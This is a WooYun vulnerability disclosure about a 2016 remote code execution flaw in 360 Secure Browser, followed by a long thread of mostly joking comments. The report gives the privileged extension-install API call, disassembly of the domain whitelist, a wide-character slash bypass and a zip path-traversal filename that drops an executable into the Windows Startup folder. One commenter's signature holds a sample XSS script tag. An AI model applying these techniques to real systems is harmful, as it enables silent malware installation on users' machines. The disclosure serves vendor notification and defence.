当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170984

漏洞标题:360 安全浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)

相关厂商:奇虎360

漏洞作者: 唐朝实验室

提交时间:2016-01-19 09:29

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-19: 厂商已经确认,细节仅向厂商公开
2016-01-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

只是单纯的分享技术,其他的留给下面的评论吧。

详细说明:

测试环境为 Windows 7 + 360 安全浏览器,最新版本,如下:

banner.png


360 安全浏览器支持两种类型的扩展程序:
1. 类似 http://**.**.**.**/ext/xxx.crx 的 chrome 扩展,安装过程需要用户确认;
2. 类似 http://**.**.**.**/xxx/xx.zip 的 360 私有应用,安装过程不需要用户确认;
安装扩展是通过浏览器的私有 api 完成,代码为:

external.AppCmd(se6api.sid, 'SeAppMgr', 'InstallAppItem', '{"downurl":"http://**.**.**.**/se6apps/ExtYouxi/ExtYouxi_**.**.**.**2.zip", "appid":"ExtYouxi", "appname":"游戏", "appver":"**.**.**.**2", "callbackFunc":"oninstalled"}', 'installcallback', function() {});


第二类扩展程序功能较为强大,扩展中常有 exe/dll 等文件。正因为如此,浏览器做了限制,downurl 中的链接只有符合条件才会被下载安装。
具体什么条件?咱们来分析下:
通过浏览器目录文件命令大概判断,扩展相关的功能是放在 seappmgr.dll 文件中,放入 IDA 中,通过搜索 InstallAppItem,downurl,360safe,http:// 等关键字,最后定位到如下代码:

.text:5C004978 ; int _thiscall sub5C004978(LPCWSTR lpszUrl)
.text:5C004978 sub5C004978 proc near ; CODE XREF: sub5C030882+15Ep
.text:5C004978 push ebx
.text:5C004979 push esi
.text:5C00497A mov esi, ecx
.text:5C00497C mov bl, 1
.text:5C00497E test esi, esi
.text:5C004980 jz short loc5C0049D8
.text:5C004982 cmp word ptr [esi], 0
.text:5C004986 jz short loc5C0049D8
.text:5C004988 mov edx, offset aDl360safecom ; **.**.**.**
.text:5C00498D call sub5C0048C7
.text:5C004992 test al, al
.text:5C004994 jnz short loc5C0049D8
.text:5C004996 mov edx, offset aDown360safec ; **.**.**.**
.text:5C00499B mov ecx, esi ; lpszUrl
.text:5C00499D call sub5C0048C7
.text:5C0049A2 test al, al
.text:5C0049A4 jnz short loc5C0049D8
.text:5C0049A6 mov edx, offset abaoku360cn ; **.**.**.**
.text:5C0049AB mov ecx, esi ; lpszUrl
.text:5C0049AD call sub5C0048C7
.text:5C0049B2 test al, al
.text:5C0049B4 jnz short loc5C0049D8
.text:5C0049B6 mov edx, offset aSeupdate360sa ; **.**.**.**
.text:5C0049BB mov ecx, esi ; lpszUrl
.text:5C0049BD call sub5C0048C7
.text:5C0049C2 test al, al
.text:5C0049C4 jnz short loc5C0049D8
.text:5C0049C6 mov edx, offset aSeappupdate36 ; **.**.**.**
.text:5C0049CB mov ecx, esi ; lpszUrl
.text:5C0049CD call sub5C0048C7
.text:5C0049D2 neg al
.text:5C0049D4 sbb al, al
.text:5C0049D6 and bl, al
.text:5C0049D8
.text:5C0049D8 loc5C0049D8: ; CODE XREF: sub5C004978+8j
.text:5C0049D8 ; sub5C004978+Ej ...
.text:5C0049D8 pop esi
.text:5C0049D9 mov al, bl
.text:5C0049DB pop ebx
.text:5C0049DC retn
.text:5C0049DC sub5C004978 endp


看样子应该白名单,

**.**.**.** 
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**


进一步分析从 downurl 中取域名是通过 InternetCrackUrlW 函数完成的,并不是直接通过正则匹配 downurl,怎么能够绕过 InternetCrackUrlW 是个问题?如果能够在这些域名下载找个 URL 跳转那岂不完美,可问题一分钱难道英雄汉。
**.**.**.** 这个域名中间有个通配符,值得关注。反复测试,当把 downurl 写成:

http://x.x.x.x/.**.**.**.**/ExtYouxi_**.**.**.**2.zip


奇迹出现了,x.x.x.x/.**.**.**.** 符合 **.**.**.** 策略,而宽字节字符 / 又会被浏览器识别为 /,完美。
把 ExtYouxi**.**.**.**2.zip 文件下载到自己的服务器上,经过测试,插件静默安装完成。接着就是想办法把 ExtYouxi**.**.**.**2.zip 替换成恶意的文件,来达到命令执行的目的。
反复测试发现,ExtYouxi_**.**.**.**2.zip 文件中当加入别的 dll/exe 等可执行文件则无法完成插件的安装,难道是对压缩包内的文件做了签名校验?但是当把一个文件名中含有 ../ 的文件放进压缩包内则能够顺利安装插件,并且这个文件顺利的放到了我们让其跳转的目录。你肯定想到我们要做什么事情了。
是的,我们要把一个 exe 文件放到 Windows 的启动目录内。
插件安装后的目录为:

C:\Users\用户\AppData\Roaming\360se6\apps\bin\se\插件名


我们把文件名为 /../../../../../Microsoft/Windows/Start Menu/Programs/Startup/funny.exe 的文件放进压缩包。通过之前的代码安装该插件,funny.exe 文件完美的放到了下面的文件夹中:

C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\


到这里我们的正常流程应该是在某特权域下找一个 xss,然后通过 xss 写入恶意代码来完成攻击,最初我也是这么想的,还找到一个 xss,并且完成了攻击代码的编写(其实超简单)。
但是,万万没想到,当我把 se6api.sid 设置为空,随便在一个域名下执行安装代码都能够安装成功。
简直不敢想像,这可是 360 啊!!!

漏洞证明:

请看:
链接: http://**.**.**.**/v_show/id_XMTQ1MDE0MDU1Mg==.html 密码:haidianwooyun

修复方案:

1. 最简单的是把宽字节的斜线符号 / 过滤掉
2. 特权 api 当然在特权域下才能调用

版权声明:转载请注明来源 唐朝实验室@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-19 12:22

厂商回复:

感谢白帽子反馈,我们第一时间跟进处理,预祝白帽子同学们新年快乐。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-19 09:31 | 我的邻居王婆婆 ( 普通白帽子 | Rank:3006 漏洞数:508 | 刚发现个好洞网站就挂了)

    我是第一个

  2. 2016-01-19 09:33 | wsg00d ( 普通白帽子 | Rank:177 漏洞数:19 | 一个程序员大叔曾告诉我,如果他代码敲的足...)

    我是第二个

  3. 2016-01-19 09:33 | ago ( 普通白帽子 | Rank:600 漏洞数:97 | long long ago,I'm an angry bird.)

    抢占前排

  4. 2016-01-19 09:34 | 奋斗的阿呆 ( 普通白帽子 | Rank:151 漏洞数:31 | 一二三,不许动!)

    其他的留给下面的评论吧

  5. 2016-01-19 09:34 | 面具 ( 路人 | Rank:20 漏洞数:6 | 同样是一个B,往北走是NB,往南走就是SB,所以...)

    前排哦

  6. 2016-01-19 09:34 | SH0X8001 ( 路人 | Rank:25 漏洞数:6 | 你猜)

    占了再说

  7. 2016-01-19 09:38 | 90Snake ( 普通白帽子 | Rank:152 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)

    这是根据PX那个来的么

  8. 2016-01-19 09:46 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)

    前排

  9. 2016-01-19 09:49 | Gabriel ( 普通白帽子 | Rank:132 漏洞数:33 )

    mark

  10. 2016-01-19 09:54 | answer 认证白帽子 ( 普通白帽子 | Rank:433 漏洞数:53 | 答案)

    前排

  11. 2016-01-19 09:58 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)

    定x叔

  12. 2016-01-19 10:00 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

  13. 2016-01-19 10:00 | luwikes ( 普通白帽子 | Rank:548 漏洞数:82 | 潜心学习~~~)

    好疼

  14. 2016-01-19 10:01 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3069 漏洞数:611 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    666666

  15. 2016-01-19 10:03 | 举起手来 ( 核心白帽子 | Rank:1535 漏洞数:167 | 准备好,举起手来!)

    定x叔

  16. 2016-01-19 10:04 | loli 认证白帽子 ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

    定向爆破中

  17. 2016-01-19 10:06 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2253 漏洞数:303 | 长期招聘安全测试人员,熟悉or精通python,...)

    我靠,我已中招

  18. 2016-01-19 10:11 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:31 | 开发真是日了狗了)

    火钳留名

  19. 2016-01-19 10:12 | fuckadmin ( 普通白帽子 | Rank:627 漏洞数:89 | 千里之堤溃于蚁穴)

    打脸中

  20. 2016-01-19 10:12 | 偷笑的猫 ( 实习白帽子 | Rank:32 漏洞数:5 | 我在笑但你看不到)

    名字亮了

  21. 2016-01-19 10:19 | 随风的风 ( 普通白帽子 | Rank:238 漏洞数:88 | 微信公众号:233sec 不定期分享各种漏洞思...)

    其他的留给下面的评论吧

  22. 2016-01-19 10:36 | phantom0307 ( 普通白帽子 | Rank:189 漏洞数:50 | Night time sharpensHeightens each sens...)

    其他的留给下面的评论吧

  23. 2016-01-19 10:39 | 卖C4的小男孩 ( 实习白帽子 | Rank:67 漏洞数:7 | 啦啦啦 啦啦啦 我是一个卖C4的小行家!...)

    只是单纯的分享技术,其他的留给下面的评论吧。

  24. 2016-01-19 10:42 | Ton7BrEak ( 普通白帽子 | Rank:290 漏洞数:60 | 我要继续努力!)

    你们就不能说点儿有用的?哎,其他的留给下面的评论吧。=_=

  25. 2016-01-19 10:47 | 皂皂 ( 路人 | Rank:0 漏洞数:1 | a hacker and painter)

    腻害!

  26. 2016-01-19 11:15 | ( 路人 | Rank:30 漏洞数:2 | 一个正经的JAVA程序猿)

    26

  27. 2016-01-19 11:29 | von ( 路人 | Rank:18 漏洞数:8 | 一个帅字贯穿了我的一生~)

    @帅 id这么亮啊哈哈

  28. 2016-01-19 11:34 | ( 路人 | Rank:30 漏洞数:2 | 一个正经的JAVA程序猿)

    @von 事实上我打错字了,当时一激动按了回车.联系秘书是不能改名的,索性就不改了

  29. 2016-01-19 11:41 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1325 漏洞数:138 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    还好我只用谷歌浏览器

  30. 2016-01-19 11:43 | zhchbin ( 普通白帽子 | Rank:122 漏洞数:27 | 要走得再远一些!|但行好事,不问前程)

    @子非海绵宝宝 然后明天@唐朝实验室 再发一个:XX浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)

  31. 2016-01-19 11:46 | 牛 小 帅 ( 普通白帽子 | Rank:1399 漏洞数:334 | 1.乌云最帅的男人 ...)

    好可怕

  32. 2016-01-19 11:47 | 孤心 ( 路人 | Rank:21 漏洞数:10 | php程序猿!渗透.入侵.社工...等我都不会!)

    还好我用DOS系统,没有浏览器

  33. 2016-01-19 11:51 | Rand0m ( 实习白帽子 | Rank:42 漏洞数:11 | 竟然还有人冒充我,醉了,骗子QQ:44569754...)

    66666

  34. 2016-01-19 11:52 | AK-47 ( 实习白帽子 | Rank:78 漏洞数:11 | 开开心心挖洞,踏踏实实上学!)

    mark一下 该洞必火

  35. 2016-01-19 11:52 | 路人毛 ( 普通白帽子 | Rank:107 漏洞数:42 | 要想Rank给高,标题一定得屌)

    亮瞎了

  36. 2016-01-19 11:54 | mujahideen ( 路人 | Rank:6 漏洞数:3 | 十足彩笔,望前辈们指导。)

    点进来一看,吓得本宝宝sqlmap都不跑了.

  37. 2016-01-19 11:59 | 方大核桃 ( 实习白帽子 | Rank:87 漏洞数:17 | 山东某高校学生 | 神气扫描器打造中 https:...)

    点进来一看,吓得本宝宝hydra都不跑了.

  38. 2016-01-19 12:01 | 啊L川 认证白帽子 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    吓得我马上卸载了360"安全"浏览器

  39. 2016-01-19 12:04 | 小红猪 ( 普通白帽子 | Rank:322 漏洞数:58 | little red pig!)

    吓得我马上卸载了360"安全"浏览器

  40. 2016-01-19 12:05 | 多情公子 ( 路人 | Rank:0 漏洞数:2 | google)

    卧槽,这个牛B啊

  41. 2016-01-19 12:05 | 千与千寻 ( 路人 | Rank:23 漏洞数:5 | 感谢乌云给了我这么好的学习机会!)

    静静看

  42. 2016-01-19 12:06 | Breaker ( 路人 | Rank:12 漏洞数:1 | NSFOCUS)

    666

  43. 2016-01-19 12:07 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

    还好我用的是大哥大,重是重了点就是安全。

  44. 2016-01-19 12:14 | 404notfound ( 普通白帽子 | Rank:407 漏洞数:109 | 考研中,有事请留言)

    这是小号》》》

  45. 2016-01-19 12:17 | Submit ( 普通白帽子 | Rank:543 漏洞数:127 | )

    还好不用360浏览器

  46. 2016-01-19 12:57 | aaaaty ( 普通白帽子 | Rank:109 漏洞数:32 | 爱情就像,我问服务器whoami,它说root)

    666666

  47. 2016-01-19 13:00 | Taro ( 普通白帽子 | Rank:319 漏洞数:77 | 走向最远的方向,哪怕前路迷茫;抱着最大的...)

    还好我没用

  48. 2016-01-19 13:17 | 方大核桃 ( 实习白帽子 | Rank:87 漏洞数:17 | 山东某高校学生 | 神气扫描器打造中 https:...)

    @Mieless 大哥大 ? GSM 安全?

  49. 2016-01-19 13:25 | 梧桐雨 认证白帽子 ( 普通白帽子 | Rank:1628 漏洞数:188 | 学无止境)

    剑心出手就是不一样

  50. 2016-01-19 13:46 | some ( 路人 | Rank:18 漏洞数:5 | 收集漏洞)

    占个位子再说

  51. 2016-01-19 13:57 | zhiher ( 路人 | Rank:16 漏洞数:4 )

    吊炸天

  52. 2016-01-19 14:03 | 隐形人真忙 ( 普通白帽子 | Rank:163 漏洞数:20 | 关注安全研发与漏洞)

    360插件域任意跳转 难道是插件问题?

  53. 2016-01-19 14:22 | 90Snake ( 普通白帽子 | Rank:152 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)

    这是礼尚往来了么。。。

  54. 2016-01-19 14:39 | ba1ma0 ( 路人 | Rank:14 漏洞数:5 | 什么都不会..)

    还好不用360浏览器

  55. 2016-01-19 14:43 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    已经开战了!!

  56. 2016-01-19 14:48 | Mujj ( 实习白帽子 | Rank:58 漏洞数:4 | 乌云指定IDC)

    互相开始D了吗

  57. 2016-01-19 14:55 | phoenixne ( 普通白帽子 | Rank:218 漏洞数:90 | 小本毕业,向各位学习)

    趁能上的时候 留给名

  58. 2016-01-19 15:19 | bobylive ( 路人 | Rank:3 漏洞数:2 | 各种爱折腾,研究各种新奇的玩意。目前就职...)

    火钳留名!!

  59. 2016-01-19 15:20 | AlexSimon ( 路人 | Rank:14 漏洞数:5 | 人生为棋,我愿为卒。行动虽慢,可谁曾见我...)

    这两家的剧本,你们圈子真会玩

  60. 2016-01-19 15:22 | bobylive ( 路人 | Rank:3 漏洞数:2 | 各种爱折腾,研究各种新奇的玩意。目前就职...)

    火钳留名!!

  61. 2016-01-19 15:36 | 笙心 ( 实习白帽子 | Rank:70 漏洞数:20 )

    http://butian.360.cn/vul/info/qid/QTVA-2016-366710

  62. 2016-01-19 15:37 | Mayter ( 普通白帽子 | Rank:165 漏洞数:40 | 笼鸡有食汤锅近,野鹤无粮天地宽.)

    火钳留名!!!

  63. 2016-01-19 15:39 | 欧冠狂魔阿森纳 ( 实习白帽子 | Rank:42 漏洞数:17 | 静静的看你们装逼)

    半天没进的来

  64. 2016-01-19 15:39 | 表哥 ( 实习白帽子 | Rank:42 漏洞数:11 | 他依然帅气。)

    肯定火!

  65. 2016-01-19 15:41 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

    @方大核桃 网都上不了,只能打电话。

  66. 2016-01-19 15:59 | 狮子找女友 ( 路人 | Rank:8 漏洞数:3 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    @笙心 哎,都是互相残杀。。

  67. 2016-01-19 16:01 | 路人毛 ( 普通白帽子 | Rank:107 漏洞数:42 | 要想Rank给高,标题一定得屌)

    360爆乌云sql注入漏洞,乌云爆360浏览器远程命令执行,起鼓相当,双方各自不服谁,于是开启互D模式,战火仍在持续。欲知后事如何,请听下回分解。(瞎编的,别封号)

  68. 2016-01-19 16:06 | jcxp ( 路人 | Rank:12 漏洞数:3 | 装作一副不是农夫的样子)

    相爱相杀

  69. 2016-01-19 16:09 | AlexSimon ( 路人 | Rank:14 漏洞数:5 | 人生为棋,我愿为卒。行动虽慢,可谁曾见我...)

    分明是360装被D了,然后乌云见状不妙,也自己搞挂自己,说自己被D了,你们圈子水真深

  70. 2016-01-19 16:18 | Topman王 ( 实习白帽子 | Rank:31 漏洞数:6 | 软件开发工程师!白帽子!XSSER,渗透,SEO)

    我艹!!!

  71. 2016-01-19 16:23 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    预祝白帽子同学们新年快乐

  72. 2016-01-19 18:44 | 黑名单 ( 实习白帽子 | Rank:62 漏洞数:14 | 像个傻瓜似的,为什么。)

    我是来看评论的

  73. 2016-01-22 15:18 | 5t4rk ( 路人 | Rank:20 漏洞数:1 | 不积跬步无以至千里,不积小流无以成江海)

    刷屏了奇虎。

  74. 2016-01-22 16:45 | 枫子 ( 路人 | Rank:12 漏洞数:4 | 酱油安全爱好者一枚。)

    吓得我马上卸载了360"安全"浏览器

  75. 2016-01-22 18:52 | Lar2y ( 实习白帽子 | Rank:31 漏洞数:12 | 有活跃团队要人么?求带飞)

    吓得我把电源都拔掉了

  76. 2016-01-22 20:04 | Sakura丶小樱 ( 路人 | Rank:4 漏洞数:2 | <script>alert(document.cookit)</script>)

    真安全

  77. 2016-01-22 22:40 | 围观群众 ( 路人 | Rank:4 漏洞数:2 | 新人学习)

    预祝白帽子同学们新年快乐

  78. 2016-01-23 16:16 | 冷白开。 ( 普通白帽子 | Rank:228 漏洞数:91 | “想人想的厉害的时候,也是淡淡的。 ...)

    预祝白帽子同学们新年快乐

  79. 2016-01-23 22:51 | xiumu ( 路人 | Rank:6 漏洞数:2 | 新人)

    预祝白帽子同学们新年快乐

  80. 2016-01-24 15:21 | 思念很透明 ( 路人 | Rank:19 漏洞数:2 | 菜鸟一枚)

    66666666666666

  81. 2016-01-25 11:17 | FK500 ( 路人 | Rank:2 漏洞数:1 | fuck the world)

    关注一下

  82. 2016-01-26 11:51 | 世界触发者 ( 路人 | Rank:1 漏洞数:1 | 我讨厌我在乎的人对别人好,没有理由,就是...)

    快乐

  83. 2016-01-26 12:29 | Jason ( 路人 | Rank:0 漏洞数:1 | 我是来打酱油的!~~~)

    太恐怖了!

  84. 2016-01-29 17:44 | aaaaty ( 普通白帽子 | Rank:109 漏洞数:32 | 爱情就像,我问服务器whoami,它说root)

    666

  85. 2016-03-01 11:21 | seastar ( 路人 | Rank:14 漏洞数:2 | 白天早上看书、下午实践;平时晚上学做生意...)

    想和茅台镇的酒联系我,微信号GENTLEmerchant